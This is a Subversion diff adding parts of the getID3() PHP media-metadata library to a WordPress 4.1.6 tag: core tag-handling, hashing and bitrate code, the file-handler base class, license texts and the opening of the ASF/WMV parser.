+			if (!empty($info['pattern']) && preg_match('#'.$info['pattern'].'#s', $filedata)) {
+				$info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php';
+				return $info;
+			}
+		}
+
+
+		if (preg_match('#\.mp[123a]$#i', $filename)) {
+			// Too many mp3 encoders on the market put gabage in front of mpeg files
+			// use assume format on these if format detection failed
+			$GetFileFormatArray = $this->GetFileFormatArray();
+			$info = $GetFileFormatArray['mp3'];
+			$info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php';
+			return $info;
+		} elseif (preg_match('/\.cue$/i', $filename) && preg_match('#FILE "[^"]+" (BINARY|MOTOROLA|AIFF|WAVE|MP3)#', $filedata)) {
+			// there's not really a useful consistent "magic" at the beginning of .cue files to identify them
+			// so until I think of something better, just go by filename if all other format checks fail
+			// and verify there's at least one instance of "TRACK xx AUDIO" in the file
+			$GetFileFormatArray = $this->GetFileFormatArray();
+			$info = $GetFileFormatArray['cue'];
+			$info['include']   = 'module.'.$info['group'].'.'.$info['module'].'.php';
+			return $info;
+		}
+
+		return false;
+	}
+
+
+	// converts array to $encoding charset from $this->encoding
+	public function CharConvert(&$array, $encoding) {
+
+		// identical encoding - end here
+		if ($encoding == $this->encoding) {
+			return;
+		}
+
+		// loop thru array
+		foreach ($array as $key => $value) {
+
+			// go recursive
+			if (is_array($value)) {
+				$this->CharConvert($array[$key], $encoding);
+			}
+
+			// convert string
+			elseif (is_string($value)) {
+				$array[$key] = trim(getid3_lib::iconv_fallback($encoding, $this->encoding, $value));
+			}
+		}
+	}
+
+
+	public function HandleAllTags() {
+
+		// key name => array (tag name, character encoding)
+		static $tags;
+		if (empty($tags)) {
+			$tags = array(
+				'asf'       => array('asf'           , 'UTF-16LE'),
+				'midi'      => array('midi'          , 'ISO-8859-1'),
+				'nsv'       => array('nsv'           , 'ISO-8859-1'),
+				'ogg'       => array('vorbiscomment' , 'UTF-8'),
+				'png'       => array('png'           , 'UTF-8'),
+				'tiff'      => array('tiff'          , 'ISO-8859-1'),
+				'quicktime' => array('quicktime'     , 'UTF-8'),
+				'real'      => array('real'          , 'ISO-8859-1'),
+				'vqf'       => array('vqf'           , 'ISO-8859-1'),
+				'zip'       => array('zip'           , 'ISO-8859-1'),
+				'riff'      => array('riff'          , 'ISO-8859-1'),
+				'lyrics3'   => array('lyrics3'       , 'ISO-8859-1'),
+				'id3v1'     => array('id3v1'         , $this->encoding_id3v1),
+				'id3v2'     => array('id3v2'         , 'UTF-8'), // not according to the specs (every frame can have a different encoding), but getID3() force-converts all encodings to UTF-8
+				'ape'       => array('ape'           , 'UTF-8'),
+				'cue'       => array('cue'           , 'ISO-8859-1'),
+				'matroska'  => array('matroska'      , 'UTF-8'),
+				'flac'      => array('vorbiscomment' , 'UTF-8'),
+				'divxtag'   => array('divx'          , 'ISO-8859-1'),
+				'iptc'      => array('iptc'          , 'ISO-8859-1'),
+			);
+		}
+
+		// loop through comments array
+		foreach ($tags as $comment_name => $tagname_encoding_array) {
+			list($tag_name, $encoding) = $tagname_encoding_array;
+
+			// fill in default encoding type if not already present
+			if (isset($this->info[$comment_name]) && !isset($this->info[$comment_name]['encoding'])) {
+				$this->info[$comment_name]['encoding'] = $encoding;
+			}
+
+			// copy comments if key name set
+			if (!empty($this->info[$comment_name]['comments'])) {
+				foreach ($this->info[$comment_name]['comments'] as $tag_key => $valuearray) {
+					foreach ($valuearray as $key => $value) {
+						if (is_string($value)) {
+							$value = trim($value, " \r\n\t"); // do not trim nulls from $value!! Unicode characters will get mangled if trailing nulls are removed!
+						}
+						if ($value) {
+							if (!is_numeric($key)) {
+								$this->info['tags'][trim($tag_name)][trim($tag_key)][$key] = $value;
+							} else {
+								$this->info['tags'][trim($tag_name)][trim($tag_key)][]     = $value;
+							}
+						}
+					}
+					if ($tag_key == 'picture') {
+						unset($this->info[$comment_name]['comments'][$tag_key]);
+					}
+				}
+
+				if (!isset($this->info['tags'][$tag_name])) {
+					// comments are set but contain nothing but empty strings, so skip
+					continue;
+				}
+
+				if ($this->option_tags_html) {
+					foreach ($this->info['tags'][$tag_name] as $tag_key => $valuearray) {
+						$this->info['tags_html'][$tag_name][$tag_key] = getid3_lib::recursiveMultiByteCharString2HTML($valuearray, $encoding);
+					}
+				}
+
+				$this->CharConvert($this->info['tags'][$tag_name], $encoding);           // only copy gets converted!
+			}
+
+		}
+
+		// pictures can take up a lot of space, and we don't need multiple copies of them
+		// let there be a single copy in [comments][picture], and not elsewhere
+		if (!empty($this->info['tags'])) {
+			$unset_keys = array('tags', 'tags_html');
+			foreach ($this->info['tags'] as $tagtype => $tagarray) {
+				foreach ($tagarray as $tagname => $tagdata) {
+					if ($tagname == 'picture') {
+						foreach ($tagdata as $key => $tagarray) {
+							$this->info['comments']['picture'][] = $tagarray;
+							if (isset($tagarray['data']) && isset($tagarray['image_mime'])) {
+								if (isset($this->info['tags'][$tagtype][$tagname][$key])) {
+									unset($this->info['tags'][$tagtype][$tagname][$key]);
+								}
+								if (isset($this->info['tags_html'][$tagtype][$tagname][$key])) {
+									unset($this->info['tags_html'][$tagtype][$tagname][$key]);
+								}
+							}
+						}
+					}
+				}
+				foreach ($unset_keys as $unset_key) {
+					// remove possible empty keys from (e.g. [tags][id3v2][picture])
+					if (empty($this->info[$unset_key][$tagtype]['picture'])) {
+						unset($this->info[$unset_key][$tagtype]['picture']);
+					}
+					if (empty($this->info[$unset_key][$tagtype])) {
+						unset($this->info[$unset_key][$tagtype]);
+					}
+					if (empty($this->info[$unset_key])) {
+						unset($this->info[$unset_key]);
+					}
+				}
+				// remove duplicate copy of picture data from (e.g. [id3v2][comments][picture])
+				if (isset($this->info[$tagtype]['comments']['picture'])) {
+					unset($this->info[$tagtype]['comments']['picture']);
+				}
+				if (empty($this->info[$tagtype]['comments'])) {
+					unset($this->info[$tagtype]['comments']);
+				}
+				if (empty($this->info[$tagtype])) {
+					unset($this->info[$tagtype]);
+				}
+			}
+		}
+		return true;
+	}
+
+	public function getHashdata($algorithm) {
+		switch ($algorithm) {
+			case 'md5':
+			case 'sha1':
+				break;
+
+			default:
+				return $this->error('bad algorithm "'.$algorithm.'" in getHashdata()');
+				break;
+		}
+
+		if (!empty($this->info['fileformat']) && !empty($this->info['dataformat']) && ($this->info['fileformat'] == 'ogg') && ($this->info['audio']['dataformat'] == 'vorbis')) {
+
+			// We cannot get an identical md5_data value for Ogg files where the comments
+			// span more than 1 Ogg page (compared to the same audio data with smaller
+			// comments) using the normal getID3() method of MD5'ing the data between the
+			// end of the comments and the end of the file (minus any trailing tags),
+			// because the page sequence numbers of the pages that the audio data is on
+			// do not match. Under normal circumstances, where comments are smaller than
+			// the nominal 4-8kB page size, then this is not a problem, but if there are
+			// very large comments, the only way around it is to strip off the comment
+			// tags with vorbiscomment and MD5 that file.
+			// This procedure must be applied to ALL Ogg files, not just the ones with
+			// comments larger than 1 page, because the below method simply MD5's the
+			// whole file with the comments stripped, not just the portion after the
+			// comments block (which is the standard getID3() method.
+
+			// The above-mentioned problem of comments spanning multiple pages and changing
+			// page sequence numbers likely happens for OggSpeex and OggFLAC as well, but
+			// currently vorbiscomment only works on OggVorbis files.
+
+			if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) {
+
+				$this->warning('Failed making system call to vorbiscomment.exe - '.$algorithm.'_data is incorrect - error returned: PHP running in Safe Mode (backtick operator not available)');
+				$this->info[$algorithm.'_data'] = false;
+
+			} else {
+
+				// Prevent user from aborting script
+				$old_abort = ignore_user_abort(true);
+
+				// Create empty file
+				$empty = tempnam(GETID3_TEMP_DIR, 'getID3');
+				touch($empty);
+
+				// Use vorbiscomment to make temp file without comments
+				$temp = tempnam(GETID3_TEMP_DIR, 'getID3');
+				$file = $this->info['filenamepath'];
+
+				if (GETID3_OS_ISWINDOWS) {
+
+					if (file_exists(GETID3_HELPERAPPSDIR.'vorbiscomment.exe')) {
+
+						$commandline = '"'.GETID3_HELPERAPPSDIR.'vorbiscomment.exe" -w -c "'.$empty.'" "'.$file.'" "'.$temp.'"';
+						$VorbisCommentError = `$commandline`;
+
+					} else {
+
+						$VorbisCommentError = 'vorbiscomment.exe not found in '.GETID3_HELPERAPPSDIR;
+
+					}
+
+				} else {
+
+					$commandline = 'vorbiscomment -w -c "'.$empty.'" "'.$file.'" "'.$temp.'" 2>&1';
+					$commandline = 'vorbiscomment -w -c '.escapeshellarg($empty).' '.escapeshellarg($file).' '.escapeshellarg($temp).' 2>&1';
+					$VorbisCommentError = `$commandline`;
+
+				}
+
+				if (!empty($VorbisCommentError)) {
+
+					$this->info['warning'][]         = 'Failed making system call to vorbiscomment(.exe) - '.$algorithm.'_data will be incorrect. If vorbiscomment is unavailable, please download from http://www.vorbis.com/download.psp and put in the getID3() directory. Error returned: '.$VorbisCommentError;
+					$this->info[$algorithm.'_data']  = false;
+
+				} else {
+
+					// Get hash of newly created file
+					switch ($algorithm) {
+						case 'md5':
+							$this->info[$algorithm.'_data'] = md5_file($temp);
+							break;
+
+						case 'sha1':
+							$this->info[$algorithm.'_data'] = sha1_file($temp);
+							break;
+					}
+				}
+
+				// Clean up
+				unlink($empty);
+				unlink($temp);
+
+				// Reset abort setting
+				ignore_user_abort($old_abort);
+
+			}
+
+		} else {
+
+			if (!empty($this->info['avdataoffset']) || (isset($this->info['avdataend']) && ($this->info['avdataend'] < $this->info['filesize']))) {
+
+				// get hash from part of file
+				$this->info[$algorithm.'_data'] = getid3_lib::hash_data($this->info['filenamepath'], $this->info['avdataoffset'], $this->info['avdataend'], $algorithm);
+
+			} else {
+
+				// get hash from whole file
+				switch ($algorithm) {
+					case 'md5':
+						$this->info[$algorithm.'_data'] = md5_file($this->info['filenamepath']);
+						break;
+
+					case 'sha1':
+						$this->info[$algorithm.'_data'] = sha1_file($this->info['filenamepath']);
+						break;
+				}
+			}
+
+		}
+		return true;
+	}
+
+
+	public function ChannelsBitratePlaytimeCalculations() {
+
+		// set channelmode on audio
+		if (!empty($this->info['audio']['channelmode']) || !isset($this->info['audio']['channels'])) {
+			// ignore
+		} elseif ($this->info['audio']['channels'] == 1) {
+			$this->info['audio']['channelmode'] = 'mono';
+		} elseif ($this->info['audio']['channels'] == 2) {
+			$this->info['audio']['channelmode'] = 'stereo';
+		}
+
+		// Calculate combined bitrate - audio + video
+		$CombinedBitrate  = 0;
+		$CombinedBitrate += (isset($this->info['audio']['bitrate']) ? $this->info['audio']['bitrate'] : 0);
+		$CombinedBitrate += (isset($this->info['video']['bitrate']) ? $this->info['video']['bitrate'] : 0);
+		if (($CombinedBitrate > 0) && empty($this->info['bitrate'])) {
+			$this->info['bitrate'] = $CombinedBitrate;
+		}
+		//if ((isset($this->info['video']) && !isset($this->info['video']['bitrate'])) || (isset($this->info['audio']) && !isset($this->info['audio']['bitrate']))) {
+		//	// for example, VBR MPEG video files cannot determine video bitrate:
+		//	// should not set overall bitrate and playtime from audio bitrate only
+		//	unset($this->info['bitrate']);
+		//}
+
+		// video bitrate undetermined, but calculable
+		if (isset($this->info['video']['dataformat']) && $this->info['video']['dataformat'] && (!isset($this->info['video']['bitrate']) || ($this->info['video']['bitrate'] == 0))) {
+			// if video bitrate not set
+			if (isset($this->info['audio']['bitrate']) && ($this->info['audio']['bitrate'] > 0) && ($this->info['audio']['bitrate'] == $this->info['bitrate'])) {
+				// AND if audio bitrate is set to same as overall bitrate
+				if (isset($this->info['playtime_seconds']) && ($this->info['playtime_seconds'] > 0)) {
+					// AND if playtime is set
+					if (isset($this->info['avdataend']) && isset($this->info['avdataoffset'])) {
+						// AND if AV data offset start/end is known
+						// THEN we can calculate the video bitrate
+						$this->info['bitrate'] = round((($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds']);
+						$this->info['video']['bitrate'] = $this->info['bitrate'] - $this->info['audio']['bitrate'];
+					}
+				}
+			}
+		}
+
+		if ((!isset($this->info['playtime_seconds']) || ($this->info['playtime_seconds'] <= 0)) && !empty($this->info['bitrate'])) {
+			$this->info['playtime_seconds'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['bitrate'];
+		}
+
+		if (!isset($this->info['bitrate']) && !empty($this->info['playtime_seconds'])) {
+			$this->info['bitrate'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds'];
+		}
+		if (isset($this->info['bitrate']) && empty($this->info['audio']['bitrate']) && empty($this->info['video']['bitrate'])) {
+			if (isset($this->info['audio']['dataformat']) && empty($this->info['video']['resolution_x'])) {
+				// audio only
+				$this->info['audio']['bitrate'] = $this->info['bitrate'];
+			} elseif (isset($this->info['video']['resolution_x']) && empty($this->info['audio']['dataformat'])) {
+				// video only
+				$this->info['video']['bitrate'] = $this->info['bitrate'];
+			}
+		}
+
+		// Set playtime string
+		if (!empty($this->info['playtime_seconds']) && empty($this->info['playtime_string'])) {
+			$this->info['playtime_string'] = getid3_lib::PlaytimeString($this->info['playtime_seconds']);
+		}
+	}
+
+
+	public function CalculateCompressionRatioVideo() {
+		if (empty($this->info['video'])) {
+			return false;
+		}
+		if (empty($this->info['video']['resolution_x']) || empty($this->info['video']['resolution_y'])) {
+			return false;
+		}
+		if (empty($this->info['video']['bits_per_sample'])) {
+			return false;
+		}
+
+		switch ($this->info['video']['dataformat']) {
+			case 'bmp':
+			case 'gif':
+			case 'jpeg':
+			case 'jpg':
+			case 'png':
+			case 'tiff':
+				$FrameRate = 1;
+				$PlaytimeSeconds = 1;
+				$BitrateCompressed = $this->info['filesize'] * 8;
+				break;
+
+			default:
+				if (!empty($this->info['video']['frame_rate'])) {
+					$FrameRate = $this->info['video']['frame_rate'];
+				} else {
+					return false;
+				}
+				if (!empty($this->info['playtime_seconds'])) {
+					$PlaytimeSeconds = $this->info['playtime_seconds'];
+				} else {
+					return false;
+				}
+				if (!empty($this->info['video']['bitrate'])) {
+					$BitrateCompressed = $this->info['video']['bitrate'];
+				} else {
+					return false;
+				}
+				break;
+		}
+		$BitrateUncompressed = $this->info['video']['resolution_x'] * $this->info['video']['resolution_y'] * $this->info['video']['bits_per_sample'] * $FrameRate;
+
+		$this->info['video']['compression_ratio'] = $BitrateCompressed / $BitrateUncompressed;
+		return true;
+	}
+
+
+	public function CalculateCompressionRatioAudio() {
+		if (empty($this->info['audio']['bitrate']) || empty($this->info['audio']['channels']) || empty($this->info['audio']['sample_rate']) || !is_numeric($this->info['audio']['sample_rate'])) {
+			return false;
+		}
+		$this->info['audio']['compression_ratio'] = $this->info['audio']['bitrate'] / ($this->info['audio']['channels'] * $this->info['audio']['sample_rate'] * (!empty($this->info['audio']['bits_per_sample']) ? $this->info['audio']['bits_per_sample'] : 16));
+
+		if (!empty($this->info['audio']['streams'])) {
+			foreach ($this->info['audio']['streams'] as $streamnumber => $streamdata) {
+				if (!empty($streamdata['bitrate']) && !empty($streamdata['channels']) && !empty($streamdata['sample_rate'])) {
+					$this->info['audio']['streams'][$streamnumber]['compression_ratio'] = $streamdata['bitrate'] / ($streamdata['channels'] * $streamdata['sample_rate'] * (!empty($streamdata['bits_per_sample']) ? $streamdata['bits_per_sample'] : 16));
+				}
+			}
+		}
+		return true;
+	}
+
+
+	public function CalculateReplayGain() {
+		if (isset($this->info['replay_gain'])) {
+			if (!isset($this->info['replay_gain']['reference_volume'])) {
+				$this->info['replay_gain']['reference_volume'] = (double) 89.0;
+			}
+			if (isset($this->info['replay_gain']['track']['adjustment'])) {
+				$this->info['replay_gain']['track']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['track']['adjustment'];
+			}
+			if (isset($this->info['replay_gain']['album']['adjustment'])) {
+				$this->info['replay_gain']['album']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['album']['adjustment'];
+			}
+
+			if (isset($this->info['replay_gain']['track']['peak'])) {
+				$this->info['replay_gain']['track']['max_noclip_gain'] = 0 - getid3_lib::RGADamplitude2dB($this->info['replay_gain']['track']['peak']);
+			}
+			if (isset($this->info['replay_gain']['album']['peak'])) {
+				$this->info['replay_gain']['album']['max_noclip_gain'] = 0 - getid3_lib::RGADamplitude2dB($this->info['replay_gain']['album']['peak']);
+			}
+		}
+		return true;
+	}
+
+	public function ProcessAudioStreams() {
+		if (!empty($this->info['audio']['bitrate']) || !empty($this->info['audio']['channels']) || !empty($this->info['audio']['sample_rate'])) {
+			if (!isset($this->info['audio']['streams'])) {
+				foreach ($this->info['audio'] as $key => $value) {
+					if ($key != 'streams') {
+						$this->info['audio']['streams'][0][$key] = $value;
+					}
+				}
+			}
+		}
+		return true;
+	}
+
+	public function getid3_tempnam() {
+		return tempnam($this->tempdir, 'gI3');
+	}
+
+	public function include_module($name) {
+		//if (!file_exists($this->include_path.'module.'.$name.'.php')) {
+		if (!file_exists(GETID3_INCLUDEPATH.'module.'.$name.'.php')) {
+			throw new getid3_exception('Required module.'.$name.'.php is missing.');
+		}
+		include_once(GETID3_INCLUDEPATH.'module.'.$name.'.php');
+		return true;
+	}
+
+}
+
+
+abstract class getid3_handler {
+
+	/**
+	* @var getID3
+	*/
+	protected $getid3;                       // pointer
+
+	protected $data_string_flag     = false; // analyzing filepointer or string
+	protected $data_string          = '';    // string to analyze
+	protected $data_string_position = 0;     // seek position in string
+	protected $data_string_length   = 0;     // string length
+
+	private $dependency_to = null;
+
+
+	public function __construct(getID3 $getid3, $call_module=null) {
+		$this->getid3 = $getid3;
+
+		if ($call_module) {
+			$this->dependency_to = str_replace('getid3_', '', $call_module);
+		}
+	}
+
+
+	// Analyze from file pointer
+	abstract public function Analyze();
+
+
+	// Analyze from string instead
+	public function AnalyzeString($string) {
+		// Enter string mode
+		$this->setStringMode($string);
+
+		// Save info
+		$saved_avdataoffset = $this->getid3->info['avdataoffset'];
+		$saved_avdataend    = $this->getid3->info['avdataend'];
+		$saved_filesize     = (isset($this->getid3->info['filesize']) ? $this->getid3->info['filesize'] : null); // may be not set if called as dependency without openfile() call
+
+		// Reset some info
+		$this->getid3->info['avdataoffset'] = 0;
+		$this->getid3->info['avdataend']    = $this->getid3->info['filesize'] = $this->data_string_length;
+
+		// Analyze
+		$this->Analyze();
+
+		// Restore some info
+		$this->getid3->info['avdataoffset'] = $saved_avdataoffset;
+		$this->getid3->info['avdataend']    = $saved_avdataend;
+		$this->getid3->info['filesize']     = $saved_filesize;
+
+		// Exit string mode
+		$this->data_string_flag = false;
+	}
+
+	public function setStringMode($string) {
+		$this->data_string_flag   = true;
+		$this->data_string        = $string;
+		$this->data_string_length = strlen($string);
+	}
+
+	protected function ftell() {
+		if ($this->data_string_flag) {
+			return $this->data_string_position;
+		}
+		return ftell($this->getid3->fp);
+	}
+
+	protected function fread($bytes) {
+		if ($this->data_string_flag) {
+			$this->data_string_position += $bytes;
+			return substr($this->data_string, $this->data_string_position - $bytes, $bytes);
+		}
+		$pos = $this->ftell() + $bytes;
+		if (!getid3_lib::intValueSupported($pos)) {
+			throw new getid3_exception('cannot fread('.$bytes.' from '.$this->ftell().') because beyond PHP filesystem limit', 10);
+		}
+		return fread($this->getid3->fp, $bytes);
+	}
+
+	protected function fseek($bytes, $whence=SEEK_SET) {
+		if ($this->data_string_flag) {
+			switch ($whence) {
+				case SEEK_SET:
+					$this->data_string_position = $bytes;
+					break;
+
+				case SEEK_CUR:
+					$this->data_string_position += $bytes;
+					break;
+
+				case SEEK_END:
+					$this->data_string_position = $this->data_string_length + $bytes;
+					break;
+			}
+			return 0;
+		} else {
+			$pos = $bytes;
+			if ($whence == SEEK_CUR) {
+				$pos = $this->ftell() + $bytes;
+			} elseif ($whence == SEEK_END) {
+				$pos = $this->getid3->info['filesize'] + $bytes;
+			}
+			if (!getid3_lib::intValueSupported($pos)) {
+				throw new getid3_exception('cannot fseek('.$pos.') because beyond PHP filesystem limit', 10);
+			}
+		}
+		return fseek($this->getid3->fp, $bytes, $whence);
+	}
+
+	protected function feof() {
+		if ($this->data_string_flag) {
+			return $this->data_string_position >= $this->data_string_length;
+		}
+		return feof($this->getid3->fp);
+	}
+
+	final protected function isDependencyFor($module) {
+		return $this->dependency_to == $module;
+	}
+
+	protected function error($text) {
+		$this->getid3->info['error'][] = $text;
+
+		return false;
+	}
+
+	protected function warning($text) {
+		return $this->getid3->warning($text);
+	}
+
+	protected function notice($text) {
+		// does nothing for now
+	}
+
+	public function saveAttachment($name, $offset, $length, $image_mime=null) {
+		try {
+
+			// do not extract at all
+			if ($this->getid3->option_save_attachments === getID3::ATTACHMENTS_NONE) {
+
+				$attachment = null; // do not set any
+
+			// extract to return array
+			} elseif ($this->getid3->option_save_attachments === getID3::ATTACHMENTS_INLINE) {
+
+				$this->fseek($offset);
+				$attachment = $this->fread($length); // get whole data in one pass, till it is anyway stored in memory
+				if ($attachment === false || strlen($attachment) != $length) {
+					throw new Exception('failed to read attachment data');
+				}
+
+			// assume directory path is given
+			} else {
+
+				// set up destination path
+				$dir = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->getid3->option_save_attachments), DIRECTORY_SEPARATOR);
+				if (!is_dir($dir) || !is_writable($dir)) { // check supplied directory
+					throw new Exception('supplied path ('.$dir.') does not exist, or is not writable');
+				}
+				$dest = $dir.DIRECTORY_SEPARATOR.$name.($image_mime ? '.'.getid3_lib::ImageExtFromMime($image_mime) : '');
+
+				// create dest file
+				if (($fp_dest = fopen($dest, 'wb')) == false) {
+					throw new Exception('failed to create file '.$dest);
+				}
+
+				// copy data
+				$this->fseek($offset);
+				$buffersize = ($this->data_string_flag ? $length : $this->getid3->fread_buffer_size());
+				$bytesleft = $length;
+				while ($bytesleft > 0) {
+					if (($buffer = $this->fread(min($buffersize, $bytesleft))) === false || ($byteswritten = fwrite($fp_dest, $buffer)) === false || ($byteswritten === 0)) {
+						throw new Exception($buffer === false ? 'not enough data to read' : 'failed to write to destination file, may be not enough disk space');
+					}
+					$bytesleft -= $byteswritten;
+				}
+
+				fclose($fp_dest);
+				$attachment = $dest;
+
+			}
+
+		} catch (Exception $e) {
+
+			// close and remove dest file if created
+			if (isset($fp_dest) && is_resource($fp_dest)) {
+				fclose($fp_dest);
+				unlink($dest);
+			}
+
+			// do not set any is case of error
+			$attachment = null;
+			$this->warning('Failed to extract attachment '.$name.': '.$e->getMessage());
+
+		}
+
+		// seek to the end of attachment
+		$this->fseek($offset + $length);
+
+		return $attachment;
+	}
+
+}
+
+
+class getid3_exception extends Exception
+{
+	public $message;
+}
Index: /tags/4.1.6/src/wp-includes/ID3/license.commercial.txt
===================================================================
--- /tags/4.1.6/src/wp-includes/ID3/license.commercial.txt	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ID3/license.commercial.txt	(revision 33402)
@@ -0,0 +1,27 @@
+                  getID3() Commercial License
+                  ===========================
+
+getID3() is licensed under the "GNU Public License" (GPL) and/or the
+"getID3() Commercial License" (gCL). This document describes the gCL.
+
+---------------------------------------------------------------------
+
+The license is non-exclusively granted to a single person or company,
+per payment of the license fee, for the lifetime of that person or
+company. The license is non-transferrable.
+
+The gCL grants the licensee the right to use getID3() in commercial
+closed-source projects. Modifications may be made to getID3() with no
+obligation to release the modified source code. getID3() (or pieces
+thereof) may be included in any number of projects authored (in whole
+or in part) by the licensee.
+
+The licensee may use any version of getID3(), past, present or future,
+as is most convenient. This license does not entitle the licensee to
+receive any technical support, updates or bugfixes, except as such are
+made publicly available to all getID3() users.
+
+The licensee may not sub-license getID3() itself, meaning that any
+commercially released product containing all or parts of getID3() must
+have added functionality beyond what is available in getID3();
+getID3() itself may not be re-licensed by the licensee.
Index: /tags/4.1.6/src/wp-includes/ID3/license.txt
===================================================================
--- /tags/4.1.6/src/wp-includes/ID3/license.txt	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ID3/license.txt	(revision 33402)
@@ -0,0 +1,29 @@
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+
+*****************************************************************
+*****************************************************************
+
+   getID3() is released under multiple licenses. You may choose
+   from the following licenses, and use getID3 according to the
+   terms of the license most suitable to your project.
+
+GNU GPL: https://gnu.org/licenses/gpl.html                   (v3)
+         https://gnu.org/licenses/old-licenses/gpl-2.0.html  (v2)
+         https://gnu.org/licenses/old-licenses/gpl-1.0.html  (v1)
+
+GNU LGPL: https://gnu.org/licenses/lgpl.html                 (v3)
+
+Mozilla MPL: http://www.mozilla.org/MPL/2.0/                 (v2)
+
+getID3 Commercial License: http://getid3.org/#gCL (payment required)
+
+*****************************************************************
+*****************************************************************
+
+Copies of each of the above licenses are included in the 'licenses'
+directory of the getID3 distribution.
Index: /tags/4.1.6/src/wp-includes/ID3/module.audio-video.asf.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ID3/module.audio-video.asf.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ID3/module.audio-video.asf.php	(revision 33402)
@@ -0,0 +1,2013 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.audio-video.asf.php                                  //
+// module for analyzing ASF, WMA and WMV files                 //
+// dependencies: module.audio-video.riff.php                   //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true);
+
+class getid3_asf extends getid3_handler {
+
+	public function __construct(getID3 $getid3) {
+		parent::__construct($getid3);  // extends getid3_handler::__construct()
+
+		// initialize all GUID constants
+		$GUIDarray = $this->KnownGUIDs();
+		foreach ($GUIDarray as $GUIDname => $hexstringvalue) {
+			if (!defined($GUIDname)) {
+				define($GUIDname, $this->GUIDtoBytestring($hexstringvalue));
+			}
+		}
+	}
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		// Shortcuts
+		$thisfile_audio = &$info['audio'];
+		$thisfile_video = &$info['video'];
+		$info['asf']  = array();
+		$thisfile_asf = &$info['asf'];
+		$thisfile_asf['comments'] = array();
+		$thisfile_asf_comments    = &$thisfile_asf['comments'];
+		$thisfile_asf['header_object'] = array();
+		$thisfile_asf_headerobject     = &$thisfile_asf['header_object'];
+
+
+		// ASF structure:
+		// * Header Object [required]
+		//   * File Properties Object [required]   (global file attributes)
+		//   * Stream Properties Object [required] (defines media stream & characteristics)
+		//   * Header Extension Object [required]  (additional functionality)
+		//   * Content Description Object          (bibliographic information)
+		//   * Script Command Object               (commands for during playback)
+		//   * Marker Object                       (named jumped points within the file)
+		// * Data Object [required]
+		//   * Data Packets
+		// * Index Object
+
+		// Header Object: (mandatory, one only)
+		// Field Name                   Field Type   Size (bits)
+		// Object ID                    GUID         128             // GUID for header object - GETID3_ASF_Header_Object
+		// Object Size                  QWORD        64              // size of header object, including 30 bytes of Header Object header
+		// Number of Header Objects     DWORD        32              // number of objects in header object
+		// Reserved1                    BYTE         8               // hardcoded: 0x01
+		// Reserved2                    BYTE         8               // hardcoded: 0x02
+
+		$info['fileformat'] = 'asf';
+
+		$this->fseek($info['avdataoffset']);
+		$HeaderObjectData = $this->fread(30);
+
+		$thisfile_asf_headerobject['objectid']      = substr($HeaderObjectData, 0, 16);
+		$thisfile_asf_headerobject['objectid_guid'] = $this->BytestringToGUID($thisfile_asf_headerobject['objectid']);
+		if ($thisfile_asf_headerobject['objectid'] != GETID3_ASF_Header_Object) {
+			unset($info['fileformat'], $info['asf']);
+			return $this->error('ASF header GUID {'.$this->BytestringToGUID($thisfile_asf_headerobject['objectid']).'} does not match expected "GETID3_ASF_Header_Object" GUID {'.$this->BytestringToGUID(GETID3_ASF_Header_Object).'}');
+		}
+		$thisfile_asf_headerobject['objectsize']    = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 16, 8));
+		$thisfile_asf_headerobject['headerobjects'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 24, 4));
+		$thisfile_asf_headerobject['reserved1']     = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 28, 1));
+		$thisfile_asf_headerobject['reserved2']     = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 29, 1));
+
+		$NextObjectOffset = $this->ftell();
+		$ASFHeaderData = $this->fread($thisfile_asf_headerobject['objectsize'] - 30);
+		$offset = 0;
+
+		for ($HeaderObjectsCounter = 0; $HeaderObjectsCounter < $thisfile_asf_headerobject['headerobjects']; $HeaderObjectsCounter++) {
+			$NextObjectGUID = substr($ASFHeaderData, $offset, 16);
+			$offset += 16;
+			$NextObjectGUIDtext = $this->BytestringToGUID($NextObjectGUID);
+			$NextObjectSize = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
+			$offset += 8;
+			switch ($NextObjectGUID) {
+
+				case GETID3_ASF_File_Properties_Object:
+					// File Properties Object: (mandatory, one only)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for file properties object - GETID3_ASF_File_Properties_Object
+					// Object Size                  QWORD        64              // size of file properties object, including 104 bytes of File Properties Object header
+					// File ID                      GUID         128             // unique ID - identical to File ID in Data Object
+					// File Size                    QWORD        64              // entire file in bytes. Invalid if Broadcast Flag == 1
+					// Creation Date                QWORD        64              // date & time of file creation. Maybe invalid if Broadcast Flag == 1
+					// Data Packets Count           QWORD        64              // number of data packets in Data Object. Invalid if Broadcast Flag == 1
+					// Play Duration                QWORD        64              // playtime, in 100-nanosecond units. Invalid if Broadcast Flag == 1
